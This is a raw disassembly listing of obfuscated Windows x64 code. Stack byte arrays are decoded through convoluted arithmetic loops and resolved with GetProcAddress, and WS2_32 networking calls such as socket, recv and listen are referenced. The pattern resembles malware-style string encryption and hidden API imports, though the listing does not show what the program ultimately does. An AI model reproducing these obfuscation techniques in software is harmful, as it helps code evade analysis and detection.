add r9b, 0x7a
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x56
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140060553
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140060c05
lea edx, [r9 - 0x62]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x52
jmp 0x140060f68
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x140060c2e
sub r9b, 0x50
movzx ecx, r9b
and cl, r10b
mov edx, 0x18
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x140060f36
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140060c57
lea r8d, [r9 - 0x2c]
movzx ecx, r8b
and cl, r10b
mov edx, 0x1a
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r10b
jmp 0x140060f14
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x140060a24
sub r9b, 0x1a
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x4a
dec r11
inc r11
jmp 0x140060553
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140060caa
lea edx, [r9 - 0x49]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
dec dil
jmp 0x140060ed0
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140060cd6
sub r9b, 0x25
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
add dil, 3
dec r11
inc r11
jmp 0x140060553
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x1400609df
add r9b, 0x11
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x77
jmp 0x140060f36
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x140060d38
sub r9b, 0xc
movzx ecx, r9b
and cl, r10b
mov edx, 0x2a
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140060553
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x140060d61
lea r8d, [r9 + 0x18]
movzx ecx, r8b
and cl, r10b
mov edx, 0x2c
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r10b
jmp 0x140060f68
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x140060d87
add r9b, 0x2a
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x26
jmp 0x140060f36
lea rcx, [rax + 4]
cmp rbx, rcx
jne 0x140060db0
add r9b, 0x3c
movzx ecx, r9b
and cl, r10b
mov edx, 0x2e
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
jmp 0x140060f33
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x140060ddf
add r9b, 0x60
movzx ecx, r9b
and cl, r10b
mov edx, 0x30
sub dl, cl
lea edi, [rdx + rdx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140060553
lea rcx, [rax + 8]
cmp rbx, rcx
jne 0x1400609a3
lea r8d, [r9 - 0x7c]
movzx ecx, r8b
and cl, r10b
mov edx, 0x32
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r10b
jmp 0x140060ed0
lea r8d, [r9 - 0x58]
movzx ecx, r8b
and cl, r10b
movzx edx, r10b
sub dl, cl
add dl, 0x34
lea edi, [rdx + rdx]
add dil, r8b
jmp 0x140060f14
lea edx, [r9 - 0x46]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [rdx - 0x16]
jmp 0x140060f68
sub r9b, 0x57
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
add dil, 0x61
jmp 0x140060f36
sub r9b, 0x69
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x21
jmp 0x140060f33
add r9b, 0x73
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
lea edi, [r10 + r9]
sub dil, 0x25
dec r11
inc r11
jmp 0x140060553
lea edx, [r9 + 0x4f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x29
jmp 0x140060ed0
movzx r9d, r11b
lea edx, [r9 + 0x2b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
sub dil, 0x2d
add r9b, 0x1f
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
add r9b, 0x27
add r9b, r10b
mov byte [rbp + r11 + 0x20], r9b
inc rax
dec r11
inc r11
jmp 0x140060553
movzx r9d, r11b
lea edx, [r9 - 0xb]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea edi, [r10 + rdx]
add dil, 0x4d
add r9b, 0x31
movzx ecx, r9b
and cl, r10b
add cl, cl
sub r9b, cl
sub r9b, 0x57
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x20], r9b
add rbx, rax
movzx ecx, dil
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add r11, rdx
inc r11
jmp 0x140060553
lea rcx, [r11 + r13]
and r8b, cl
add r8b, r8b
sub cl, r8b
lea edi, [r10 + rcx]
sub dil, 0x39
movzx r9d, r11b
add r9b, 0x43
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, 0x2b
add dl, r9b
movzx ecx, dl
mov byte [rbp + r11 + 0x20], cl
inc rax
add rcx, rax
sub r11, rcx
lea r8d, [r11 - 0x34]
movzx ecx, r10b
and cl, r8b
mov edx, gethostname
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
mov byte [rbp + r11 + 0x20], dl
inc rbx
mov rcx, 0xffffffffffffffff
sub rcx, rbx
add r11, rcx
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140060553
lea rcx, [r11 + r12]
and r8b, cl
add r8b, r8b
sub cl, r8b
lea edi, [r10 + rcx]
sub dil, 0x3d
movzx ecx, byte [rbp + r11 + 0x20]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140060553
add r9b, 0x2d
movzx ecx, r10b
and cl, r9b
add cl, cl
sub r10b, cl
lea edi, [r9 + r10]
sub dil, 0x3b
jmp 0x140060550
add r9b, 0x1b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x43
jmp 0x140060540
lea rdx, [rbp + 0x149d42c]
jmp 0x14006104e
lea rdx, [rbp + 0xc3eeb5]
jmp 0x14006104e
lea rdx, [rbp + 0x20]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
mov byte [rbp + 0x210], 0x7b
mov byte [rbp + 0x211], 0x88
mov byte [rbp + 0x212], __WSAFDIsSet
mov byte [rbp + 0x213], 0x7f
mov byte [rbp + 0x214], 0x81
mov byte [rbp + 0x215], 0xa8
mov byte [rbp + 0x216], 0x83
mov byte [rbp + 0x217], __WSAFDIsSet
mov byte [rbp + 0x218], 0x81
mov byte [rbp + 0x219], 0x81
mov byte [rbp + 0x21a], __WSAFDIsSet
mov byte [rbp + 0x21b], 0x82
mov byte [rbp + 0x21c], 0x8a
mov byte [rbp + 0x21d], 0x9d
mov byte [rbp + 0x21e], 0x8d
mov byte [rbp + 0x21f], 0xb4
mov byte [rbp + 0x220], 0x7d
mov byte [rbp + 0x221], 0x89
mov byte [rbp + 0x222], 0x86
mov byte [rbp + 0x223], 0x85
mov byte [rbp + 0x224], 0x89
mov byte [rbp + 0x225], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x226], 0x83
mov byte [rbp + 0x227], 0x83
mov byte [rbp + 0x228], __WSAFDIsSet
mov byte [rbp + 0x229], 0x82
mov byte [rbp + 0x22a], 0xa
xor eax, eax
mov dword [rbp + 0x22b], eax
mov word [rbp + 0x22f], ax
mov byte [rbp + 0x231], al
movabs r12, 0x48f9b3ce1a08b506
movabs r13, 0xdaed1b6a4e1a1f12
movzx edi, byte [rbp + 0x410]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x22
jae 0x140061cc9
movzx r10d, byte [rbp + r11 + 0x210]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140061cc0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400611ac
lea rcx, [r11 + r12]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x2a
jmp 0x1400611e6
je 0x140061c4e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140061be6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140061b91
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140061b70
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140061b48
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x140061cb7
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x14006121a
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x140061260
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140061afe
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140061adb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140061a83
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140061a69
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140061a3a
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400617ab
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140061790
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006176a
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140061744
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140061729
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006170c
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400616ec
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400616d1
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400616b4
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140061682
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140061270
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x41]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140061c9a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140061c7a
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14006145e
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140061443
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140061424
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140061639
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400615f4
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400615b6
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006158e
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140061270
lea rbx, [r8 + 0x200]
lea r8, [rbx + 4]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006155c
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14006153f
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140061520
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140061500
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400614e3
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400614d5
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400614af
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140061489
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006147b
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140061270
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x10]
jmp 0x140061270
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140061260
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x1400611f0
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
jmp 0x140061180
lea edx, [r9 - 0x10]
mov ecx, gethostname
jmp 0x140061b07
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
inc r8
dec r11
inc r11
jmp 0x140061163
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140061163
lea edx, [r9 - 0x34]
mov ecx, gethostname
jmp 0x140061a8c
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x140061abf
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140061ac2
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140061bb6
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
jmp 0x140061c07
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x210]
add rax, r8
add r11, rax
inc r11
jmp 0x140061163
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
mov byte [rbp + r11 + 0x210], dil
inc r11
jmp 0x140061163
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x64
jb 0x1400615a6
lea ecx, [r9 + 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x78]
jmp 0x140061b18
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
cmp rbx, 0xa
jae 0x140061a0b
lea rax, [r8 + 5]
cmp rbx, rax
jbe 0x140061955
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x1400615d0
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
lea rax, [r8 + rbx]
cmp rax, 3
je 0x140061a24
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x140061876
lea ecx, [r9 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 2
jmp 0x14006160a
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x210]
add rax, r8
add r11, rax
inc r11
jmp 0x140061163
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
jmp 0x140061c07
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x140061bb6
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140061ac2
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
jmp 0x140061abf
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140061a9d
sub r9b, 0x54
movzx eax, r9b
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140061163
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x140061163
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x140061b18
lea rcx, [r8 + 5]
cmp rbx, rcx
jae 0x1400617cf
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x14006164f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006180a
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x210]
add rax, r8
add r11, rax
inc r11
jmp 0x140061163
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140061830
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
jmp 0x140061abf
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006185f
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140061163
cmp rbx, rcx
jne 0x14006164f
lea edx, [r9 + 0x5c]
mov ecx, 0x3e
jmp 0x140061b07
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006189a
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
jmp 0x140061b18
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400618c9
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140061163
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400618f2
sub r9b, 0x4a
movzx eax, r9b
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140061ac2
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140061916
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x140061bb6
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14006160a
sub r9b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x210]
add rax, r8
add r11, rax
inc r11
jmp 0x140061163
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140061990
sub r9b, 8
movzx eax, r9b
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x210]
add rax, r8
add r11, rax
inc r11
jmp 0x140061163
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400619b4
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x140061bb6
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400619d8
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x140061a9d
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400615d0
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140061163
lea edx, [r9 + 0x70]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x10
jmp 0x140061a97
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x64]
jmp 0x140061bb6
sub r9b, 0x16
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x66
movzx eax, byte [rbp + r11 + 0x210]
add rax, r8
add r11, rax
inc r11
jmp 0x140061163
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x16
jmp 0x140061abf
lea edx, [r9 - 0x52]
mov ecx, 0x1f
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x3a
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x210], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140061163
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
dec r11
inc r11
jmp 0x140061163
lea edx, [r9 - 0x76]
mov ecx, 0x1d
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x210], cl
inc r8
dec r11
inc r11
jmp 0x140061163
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140061163
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
dec r11
inc r11
jmp 0x140061163
movabs rcx, 0xfed3eaa2b63cf32a
add rcx, r11
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x26
add dil, cl
movzx r9d, r11b
sub r9b, 0x7e
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x210], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140061c07
movabs rcx, 0x6ce08306822b891e
add rcx, r11
and sil, cl
mov eax, reloc.WS2_32.dll_socket
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x210], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x210]
add rax, r8
add r11, rax
inc r11
jmp 0x140061163
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x7e
movzx eax, byte [rbp + r11 + 0x210]
add rax, r8
add r11, rax
inc r11
jmp 0x140061163
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140061160
add r9b, 0x12
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7e
jmp 0x140061150
lea rdx, [rbp + 0x159a218]
jmp 0x140061cd0
lea rdx, [rbp + 0xa2571e]
jmp 0x140061cd0
lea rdx, [rbp + 0x210]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
mov byte [rbp + 0x240], 0x2a
mov byte [rbp + 0x241], 0xfc
mov byte [rbp + 0x242], 0xf7
mov byte [rbp + 0x243], 0x28
mov byte [rbp + 0x244], 0xfa
mov byte [rbp + 0x245], 0xfd
mov byte [rbp + 0x246], 0xcb
mov byte [rbp + 0x247], 0xfd
mov byte [rbp + 0x248], 0xc2
mov byte [rbp + 0x249], 0x27
mov byte [rbp + 0x24a], 0xf2
mov byte [rbp + 0x24b], 0xc4
mov byte [rbp + 0x24c], 0xf9
mov byte [rbp + 0x24d], 0xc2
mov byte [rbp + 0x24e], 0xdf
mov byte [rbp + 0x24f], 0xc5
mov byte [rbp + 0x250], 0xca
mov byte [rbp + 0x251], 0xc4
mov byte [rbp + 0x252], 0x19
mov byte [rbp + 0x253], 0xc7
mov byte [rbp + 0x254], 0xc5
mov byte [rbp + 0x255], 0xfa
mov byte [rbp + 0x256], 0xc2
mov byte [rbp + 0x257], 0xc3
mov byte [rbp + 0x258], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x259], 0xc3
mov byte [rbp + 0x25a], 0xf7
mov byte [rbp + 0x25b], 0xf4
mov byte [rbp + 0x25c], 0x5a
xor eax, eax
mov qword [rbp + 0x25d], rax
mov dword [rbp + 0x265], eax
mov word [rbp + 0x269], ax
movabs rsi, 0x81326268d9e6c651
movabs r13, 0x8860b0ddf54f6c37
movabs r12, 0x8397273a8db452f3
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x2b
jae 0x140062981
movzx r10d, byte [rbp + r11 + 0x240]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140062978
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140061e4c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x37
jmp 0x140061e86
je 0x14006290c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140062884
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140062851
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006280f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400627ea
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14006296f
lea rcx, [r8 + 6]
cmp rbx, rcx
jae 0x140061eba
lea ecx, [r9 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7d
jmp 0x140061ef0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400627a3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140062780
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140062763
cmp rbx, rcx
je 0x140062743
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140062463
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140062444
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006241e
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400623fb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400623dc
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400623bf
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006239f
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140062384
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140062364
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
je 0x140062335
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140061f00
mov rbx, rcx
lea r8, [rcx + 0x5a]
lea rax, [r8 + 0x61]
cmp rcx, rax
jb 0x140062952
lea rax, [r8 + 0x5a]
cmp rcx, rax
jb 0x140062935
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x1400620e5
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x1400620ca
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x1400620af
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x1400622e2
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x140062296
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x14006225a
lea rax, [r8 + 0x1000]
cmp rcx, rax
jb 0x140062232
lea rax, [r8 + 0x41]
cmp rcx, rax
jb 0x140061f00
lea rbx, [r8 + 4]
lea r8, [rbx + 1]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140062200
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400621e3
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400621c4
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400621a4
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140062187
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140062168
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140062145
lea rax, [r8 + 3]
